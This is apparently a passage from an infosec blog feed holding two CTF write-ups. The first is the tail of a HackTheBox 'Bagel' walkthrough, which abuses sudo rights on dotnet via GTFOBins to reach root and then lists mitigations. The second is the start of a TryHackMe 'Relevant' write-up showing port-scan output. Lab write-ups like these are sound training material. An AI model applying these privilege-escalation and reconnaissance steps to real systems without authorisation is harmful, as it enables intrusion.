&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="n">developer&lt;/span>&lt;span class="err">@&lt;/span>&lt;span class="n">bagel&lt;/span> &lt;span class="n">phil&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">sudo&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">l&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Matching&lt;/span> &lt;span class="n">Defaults&lt;/span> &lt;span class="n">entries&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">!&lt;/span>&lt;span class="n">visiblepw&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_set_home&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">match_group_by_gid&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">always_query_group_plugin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_reset&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;COLORS DISPLAY HOSTNAME HISTSIZE
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> KDEDIR LS_COLORS&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> LC_MESSAGES&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">env_keep&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s2">&amp;#34;LC_TIME LC_ALL LANGUAGE LINGUAS
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> _XKB_CHARSET XAUTHORITY&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">secure_path&lt;/span>&lt;span class="o">=/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="kd">local&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">sbin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snapd&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">snap&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">User&lt;/span> &lt;span class="n">developer&lt;/span> &lt;span class="n">may&lt;/span> &lt;span class="n">run&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">following&lt;/span> &lt;span class="n">commands&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="n">bagel&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">NOPASSWD&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">usr&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">bin&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dotnet&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For abusing &lt;code>sudo&lt;/code>, &lt;code>suid&lt;/code> and &lt;code>capabilities&lt;/code>, &lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>GTFObins&lt;/a> is a great website. Looking at it, there is a way to get root access using sudo permissions.&lt;/p>
&lt;p>&lt;img src="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo.png"
width="1660"
height="396"
srcset="https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_480x0_resize_box_3.png 480w, https://crippledmind-infosec-journal.netlify.app/posts/writeups/htb/bagel/sudo_hu909c7d2998fcfcdc25e408d4119683e4_70351_1024x0_resize_box_3.png 1024w"
loading="lazy"
class="gallery-image"
data-flex-grow="419"
data-flex-basis="1006px"
>&lt;/p>
&lt;p>I ran the commands and got the root user. 🎉&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">sh&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">5.2&lt;/span>&lt;span class="o">#&lt;/span> &lt;span class="n">id&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">uid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">gid&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">groups&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">root&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">context&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">unconfined_u&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_r&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">unconfined_t&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">s0&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">c0.c1023&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="mitigation-techniques">Mitigation Techniques
&lt;/h2>&lt;ol>
&lt;li>&lt;strong>Input Validation and Filtering&lt;/strong>: Implement strict input validation and filtering mechanisms to prevent injection attacks, including LFI (Local File Inclusion) vulnerabilities. Validate and sanitize all user inputs and file paths to ensure they do not allow unauthorized access to system files.&lt;/li>
&lt;li>&lt;strong>Secure Deserialization&lt;/strong>: Use safe deserialization practices, such as validating input types and using whitelists for allowed types during deserialization. Avoid using frameworks or libraries that automatically deserialize data without proper validation, as this can lead to remote code execution vulnerabilities.&lt;/li>
&lt;li>&lt;strong>Least Privilege Principle&lt;/strong>: Restrict privileges granted to applications and users to the minimum necessary for their functionality. Avoid granting unnecessary sudo or administrative rights, especially to binaries like dotnet, which can be abused to escalate privileges.&lt;/li>
&lt;li>&lt;strong>Monitoring and Logging&lt;/strong>: Implement comprehensive logging and monitoring of system activities, especially those involving sensitive operations like sudo access. Monitor for unusual or unauthorized activities to detect and respond to potential security breaches promptly.&lt;/li>
&lt;li>&lt;strong>Regular Security Audits and Patching&lt;/strong>: Conduct regular security audits to identify and mitigate vulnerabilities in applications and systems. Keep software and libraries up to date with security patches to protect against known vulnerabilities.&lt;/li>
&lt;/ol>
&lt;h2 id="conclusion">Conclusion
&lt;/h2>&lt;p>The penetration test revealed critical vulnerabilities including Local File Inclusion (LFI), insecure deserialization, and privileged escalation through misuse of sudo rights. These findings show the importance of strict security practices, including secure coding, proper input validation, and adherence to the principle of least privilege. It was a fun box.&lt;/p>
&lt;h2 id="references">References
&lt;/h2>&lt;ol>
&lt;li>&lt;a class="link" href="https://gtfobins.github.io/gtfobins/dotnet/" target="_blank" rel="noopener"
>https://gtfobins.github.io/gtfobins/dotnet/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/websockets/wscat" target="_blank" rel="noopener"
>https://github.com/websockets/wscat&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/rider/" target="_blank" rel="noopener"
>https://www.jetbrains.com/rider/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm" target="_blank" rel="noopener"
>https://www.newtonsoft.com/json/help/html/SerializeTypeNameHandling.htm&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://caido.io/" target="_blank" rel="noopener"
>https://caido.io/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://gchq.github.io/CyberChef/" target="_blank" rel="noopener"
>https://gchq.github.io/CyberChef/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://ghidra-sre.org/" target="_blank" rel="noopener"
>https://ghidra-sre.org/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://www.jetbrains.com/decompiler/" target="_blank" rel="noopener"
>https://www.jetbrains.com/decompiler/&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="https://github.com/dnSpy/dnSpy" target="_blank" rel="noopener"
>https://github.com/dnSpy/dnSpy&lt;/a>&lt;/li>
&lt;/ol></description></item><item><title>Relevant</title><link>https://crippledmind-infosec-journal.netlify.app/posts/writeups/thm/relevant/</link><pubDate>Sun, 16 Jun 2024 18:26:06 +0530</pubDate><guid>https://crippledmind-infosec-journal.netlify.app/posts/writeups/thm/relevant/</guid><description>&lt;h2 id="introduction">Introduction
&lt;/h2>&lt;ul>
&lt;li>&lt;strong>Machine Name:&lt;/strong> Relevant&lt;/li>
&lt;li>&lt;strong>IP Address:&lt;/strong> [IP Address]&lt;/li>
&lt;li>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/li>
&lt;/ul>
&lt;h2 id="information-gathering">Information Gathering
&lt;/h2>&lt;p>I started scan with &lt;a class="link" href="https://github.com/RustScan/RustScan" target="_blank" rel="noopener"
>&lt;code>rustscan&lt;/code>&lt;/a>, found port 80, 49663 and 445 ports open.
These are the most common ports for getting initial foothold, but 49663 is very uncommon(so suspicious).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">rustscan&lt;/span> &lt;span class="c1">--ulimit 5000 -r 1-65535 -a $IP -- -Pn -A -T4 | tee -a scan.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PORT&lt;/span> &lt;span class="n">STATE&lt;/span> &lt;span class="n">SERVICE&lt;/span> &lt;span class="n">REASON&lt;/span> &lt;span class="n">VERSION&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">80&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">135&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">msrpc&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">RPC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">139&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">netbios&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ssn&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">netbios&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ssn&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">445&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ds&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">3389&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">ms&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">wbt&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">Terminal&lt;/span> &lt;span class="n">Services&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">rdp&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ntlm&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">info&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Target_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">NetBIOS_Domain_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">NetBIOS_Computer_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">RELEVANT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">DNS_Domain_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">DNS_Computer_Name&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Product_Version&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">10.0.14393&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">System_Time&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">32&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">28&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">00&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_ssl&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">date&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">08&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">00&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">s&lt;/span> &lt;span class="n">from&lt;/span> &lt;span class="n">scanner&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">ssl&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">cert&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Subject&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">commonName&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Issuer&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">commonName&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Public&lt;/span> &lt;span class="n">Key&lt;/span> &lt;span class="n">type&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">rsa&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Public&lt;/span> &lt;span class="n">Key&lt;/span> &lt;span class="n">bits&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2048&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Signature&lt;/span> &lt;span class="n">Algorithm&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">sha256WithRSAEncryption&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">valid&lt;/span> &lt;span class="n">before&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">valid&lt;/span> &lt;span class="n">after&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="n">T13&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">22&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">30&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MD5&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3899&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">605&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3667&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4142&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="n">b8b&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mf">7e42&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">36&lt;/span>&lt;span class="n">ea&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">SHA&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">fc71&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">3924&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="n">a7e&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">c01&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">bb51&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">9465&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4800&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">f04&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">f2ac&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">d73b&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="c1">-----BEGIN CERTIFICATE-----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MIIC1DCCAbygAwIBAgIQfCiYuHMheZpPNXVuApyXhTANBgkqhkiG9w0BAQsFADAT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNDA2MTUxMzIyMzBaFw0yNDEyMTUxMzIy&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MzBaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">MIIBCgKCAQEAts8eZAiC029jcGXhUL68IXseXFWcgqXCiDU4X7Ba811bVw9ESy70&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">iVO76DBONGsr4Yd5&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">dhHXtxBv6PfcjBCqc6g&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">CtR0&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hfDPp&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">ml5P&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">uw4AZUTyfrY&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="n">hVQqLBXojAlHt&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">avwYgxLdUO0LeonbHOEKD7GYTKUeXmzHRVnJWSu&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">ig4&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">DjLX&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Qy5rb5s8b&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">bEB7IXhTamR&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">VE43nmbk3uwZPvYnVFpOMh0GgzUYz37uU5wK1aUofe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">mZk0J4LJXAR3l0V5StbaHp5XNb2AB2YHp2Pw7CundO6JB9zfmbSLujjjU4VUNqYw&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="n">ptgSJZkV35&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">bqgEeHCRpNNCqVu6YhTVwIDAQABoyQwIjATBgNVHSUEDDAKBggr&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBACFbjHjCdSkY&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">De8PKuIF84qpcBet8saz5BbapeobNdCtpNybCHLtnDy2tHbsxS&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">OnGmtEN3cAaf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">za2WoiMUcoD56nrx7vE02CuZGcnfgXN2G2sxxmCOZdRAMg257UWITeJLQH9zWZ5H&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Iikuk&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">rZIklL8ieX9&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">Ad2UeX4O843UsrxEfjnC0ZtcO&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="n">wZRlmYvKHj4ew&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">f4&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">gOOTZXCvc6zrLxrxQiYbxbVHlUgLwyhKgD&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vq8YIvX27&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">mHZseMHzKD9QRhAlbkj&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Pz57I37Z3vkXsuI&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">i2bJc4gttrjH3lQqoMWYTI9dj1&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="n">W08XzDgnhtIf5aTAiwsP&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">rtieJbN7gm8&lt;/span>&lt;span class="o">=&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span>&lt;span class="c1">-----END CERTIFICATE-----&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">open&lt;/span> &lt;span class="n">http&lt;/span> &lt;span class="n">syn&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">ack&lt;/span> &lt;span class="n">Microsoft&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">httpd&lt;/span> &lt;span class="mf">10.0&lt;/span>
